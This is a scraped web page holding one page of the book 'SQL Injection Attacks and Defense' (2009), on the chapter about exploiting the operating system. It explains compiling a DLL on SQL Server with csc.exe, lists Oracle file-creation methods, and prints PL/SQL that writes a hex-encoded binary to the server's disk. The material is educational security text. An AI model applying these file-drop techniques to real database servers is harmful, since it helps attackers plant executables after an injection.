28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

300 Chapter 6 • Exploiting the Operating System<br />

Figure 6.18 Compiling a Binary on <strong>SQL</strong> Server Using csc.exe<br />

The example in Figure 6.18 creates a simple .NET source file <strong>and</strong> then calls on csc.exe<br />

to compile the file as a DLL in the c:\temp directory on the <strong>SQL</strong> server. Even if the remote<br />

server used a different directory naming scheme, an enterprising attacker would be able to<br />

use csc.exe by running it out of the perfectly predictable DLL cache, %windir%\system32\<br />

dllcache\csc.exe.<br />

Oracle<br />

Again, various possibilities exist to create files in Oracle. The following methods are available:<br />

■■<br />

■■<br />

■■<br />

■■<br />

■■<br />

utl_ file<br />

DBMS_ADVISOR<br />

External tables<br />

Java<br />

Operating system comm<strong>and</strong>s <strong>and</strong> redirection<br />

Since Oracle 9i, utl_ file can write binary code on the file system. The following sample<br />

code creates a binary file, hello.com, on the C: drive or the appropriate UNIX path of the<br />

database server:<br />

Create or replace directory EXT AS 'C:\';<br />

DECLARE fi UTL_FILE.FILE_TYPE;<br />

bu RAW(32767);<br />

BEGIN<br />

bu:=hextoraw('BF3B01BB8100021E8000B88200882780FB81750288D850E8060083C40<br />

2CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689EC5DC3558BEC8B5E<br />

088B4E048B5606B80040CD21730231C08BE55DC39048656C6C6F2C20576F726C64210D0A');<br />

fi:=UTL_FILE.fopen('EXT','hello.com','w',32767);<br />

UTL_FILE.put_raw(fi,bu,TRUE);<br />

UTL_FILE.fclose(fi);<br />

END;<br />

/

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!